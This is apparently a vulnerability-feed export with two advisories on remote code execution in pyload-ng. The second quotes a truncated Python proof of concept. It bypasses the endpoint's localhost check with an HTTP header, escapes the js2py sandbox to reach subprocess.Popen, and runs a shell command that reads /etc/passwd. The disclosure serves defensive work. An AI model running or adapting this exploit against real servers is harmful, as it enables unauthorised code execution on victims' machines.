<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-16T20:34:16.258293+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2024-39205</id>
    <title>CVE-2024-39205</title>
    <updated>2026-10-16T20:34:16.260610+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> pyload-ng_project pyload-ng</p>
<p>An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2024-39205"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-499</id>
    <title>PYSEC-2026-499 — pyload-ng vulnerable to RCE with js2py sandbox escape</title>
    <updated>2026-10-16T20:34:16.260663+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: pyload-ng</p>
<p>### Summary
Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.</p>
<p>### Details
js2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.
 
### PoC</p>
<p>The PoC is provided as `poc.py` below, you can modify the shell command it execute:</p>
<p>```python
import socket
import base64
from urllib.parse import quote</p>
<p>host, port = input("host: "), int(input("port: "))</p>
<p>payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj</p>
<p>hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__</p>
<p>function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" &amp;&amp; item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" &amp;&amp; (result = findpopen(item))) {
            return result
        }
    }
}</p>
<p>n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1,…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-499"/>
  </entry>
</feed>
